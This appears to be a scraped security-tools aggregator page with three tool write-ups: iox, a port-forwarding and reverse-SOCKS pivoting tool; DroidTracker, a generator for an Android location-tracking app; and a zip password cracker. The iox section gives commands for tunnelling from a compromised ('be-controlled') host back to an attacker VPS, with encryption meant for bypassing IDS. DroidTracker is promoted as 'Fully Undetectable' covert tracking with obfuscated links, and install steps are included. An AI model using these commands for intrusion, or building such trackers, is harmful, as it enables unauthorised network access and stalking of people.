As of January 2020, OSS-Fuzz has found over 16,000 bugs in 250 open source projects.

Blog posts


Iox - Tool For Port Forward &Amp; Intranet Proxy

$
0
0

Tool for port forward & intranet proxy, just like lcx/ew, but better

Why write?
lcx and ew are awesome, but can be improved.
when I first used them, I can't remember these complicated parameters for a long time, such as tran, slave, rcsocks, sssocks.... The work mode is clear, why do they design parameters like this(especially ew's -l -d -e -f -g -h)
Besides, I think the net programming logic could be optimized.
For example, while running lcx -listen 8888 9999 command, client must connect to :8888 first, then :9999, in iox, there's no limit to the order in two ports. And while running lcx -slave 1.1.1.1 8888 1.1.1.1 9999 command, lcx will connect two hosts serially, but it's more efficient to connect in concurrent, as iox does.
What's more, iox provides trafficencryption feature. Actually, you can use iox as a simple ShadowSocks.
And iox also provides UDP traffic forward.
Of course, because iox is written in Go, the static-link-program is a little large, raw program is 2.2MB (800KB after UPX compression)

Feature
  • traffic encryption (optional)
  • humanized CLI option
  • logic optimization
  • UDP traffic forward

Usage
You can see, all params are uniform. -l/--local means listen on a local port; -r/--remote means connect to remote host

Two mode
fwd
Listen on 0.0.0.0:8888 and 0.0.0.0:9999, forward traffic between 2 connections
./iox fwd -l 8888 -l 9999


for lcx:
./lcx -listen 8888 9999
Listen on 0.0.0.0:8888, forward traffic to 1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999


for lcx:
./lcx -tran 8888 1.1.1.1 9999
Connect 1.1.1.1:8888 and 1.1.1.1:9999, forward between 2 connection
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999


for lcx:
./lcx -slave 1.1.1.1 8888 1.1.1.1 9999
proxy
Start Socks5 server on 0.0.0.0:1080
./iox proxy -l 1080


for ew:
./ew -s ssocksd -l 1080
Start Socks5 server on be-controlled host, then forward to internet VPS
VPS forward 0.0.0.0:9999 to 0.0.0.0:1080
You must use in pair, because it contains a simple protocol to control connecting back
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // notice, the two port are in order


for ew:
./ew -s rcsocks -l 1080 -e 9999
./ew -s rssocks -d 1.1.1.1 -e 9999
Then connect intranet host
# proxychains.conf
# socks5://1.1.1.1:1080

$ proxychains rdesktop 192.168.0.100:3389


Enable encryption
For example, we forward 3389 port in intranet to our VPS
// be-controller host
./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565


// our VPS
./iox fwd -l *8888 -l 33890 -k 656565
It's easy to understand: traffic between be-controlled host and our VPS:8888 will be encrypted, the pre-shared secret key is 'AAA', iox will use it to generate seed key and nonce (Normally, nonce shouldn't be reused. But consider that iox's encryption is only for bypassing IDS, in order not to allocate extra space, the TCP stream encryption will reuse the nonce), then encrypt with Xchacha20 (replace AES-CTR with Xchacha20 in v0.3 version)
So, the * should be used in pairs
./iox fwd -l 1000 -r *127.0.0.1:1001 -k 000102
./iox fwd -l *1001 -r *127.0.0.1:1002 -k 000102
./iox fwd -l *1002 -r *127.0.0.1:1003 -k 000102
./iox proxy -l *1003 -k 000102


$ curl google.com -x socks5://127.0.0.1:1000
Using iox as a simple ShadowSocks
// ssserver
./iox proxy -l *9999 -k 000102


// sslocal
./iox fwd -l 1080 -r *VPS:9999 -k 000102

UDP forward
Only need to add CLI option -u
./iox fwd -l 53 -r *127.0.0.1:8888 -k 000102 -u
./iox fwd -l *8888 -l *9999 -k 000102 -u
./iox fwd -r *127.0.0.1:9999 -r 8.8.8.8:53 -k 000102 -u
NOTICE: When you make a multistage connection, the Remote2Remote-UDP-mode must be started last, which is the No.3 command in above example
UDP forwarding may have behavior that is not as you expected. Actually, on GitHub now, there are only examples of forwarding a local listener to a remote host, so I can only implement them with my understanding
You can find why in the source code. If you have any ideas, PR / issue are welcomed



DroidTracker - Script To Generate An Android App To Track Location In Real Time

$
0
0

Script to generate an Android App to track location in real time

Features:
  • Custom App Name
  • 2 Port Forwarding options (Ngrok or using SSH Tunneling with Serveo.net)
  • Obfuscated URL by Tinyurl
  • Fully Undetectable

Legal disclaimer:
Usage of DroidTracker for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Auto Install:
# bash install.sh

Installing on Kali Linux:
Install dependencies:
# apt-get update
# apt-get install default-jdk apksigner

For x86:
# apt-get install libc6-dev-i386 lib32z1

For AMD64:
# apt-get install lib32z1 lib32ncurses6 lib32stdc++6

Download SDK-Tools:
# wget https://dl.google.com/android/repository/sdk-tools-linux-4333796.zip
#mkdir -p $HOME/Android/Sdk
# unzip sdk-tools-linux* -d $HOME/Android/Sdk

Install SDKMAN
# curl -s "https://get.sdkman.io" | bash
# source "$HOME/.sdkman/bin/sdkman-init.sh"
# echo "Y" | sdk install java 8.0.191-oracle
# sdk use java 8.0.191-oracle
# sdk install gradle 2.14.1
# sdk use gradle 2.14.1

# echo "y" | $HOME/Android/Sdk/tools/bin/sdkmanager "platforms;android-25" "build-tools;25.0.1" "extras;google;m2repository" "extras;android;m2repository"

# git clone https://github.com/thelinuxchoice/droidtracker
# cd droidtracker
# bash droidtracker.sh

Author: https://github.com/thelinuxchoice/DroidTracker
IG: https://www.instagram.com/linux_choice


Zip Cracker - Python Script To Crack Zip Password With Dictionary Attack And Also Use Crunch As Pipeline

$
0
0

This Script Supports Only Zip File in This Version
You Can Also Use This Script With crunch
Cross-platform Supported

Usage: zipcracker.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-f FILENAME, --file=FILENAME
Please Specify Path of Zip File
-d DICTIONERY, --dict=DICTIONERY
Please Specify Path of Dictionery.
-o OUTPUT, --output=OUTPUT
Please Specify Path for Extracting
-r RESULT, --result=RESULT
Please Specify Path if You Want to Save Result
-c CRUNCH, --crunch=CRUNCH
For Using Passwords Directly from crunch use this
arguments: -c True or --crunch True

examples 1:
- python zipcracker.py -f testfile.zip -d passwords.txt

examples 2:
-python zipcracker.py -f testfile.zip -d passwords.txt -o extractdir


Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>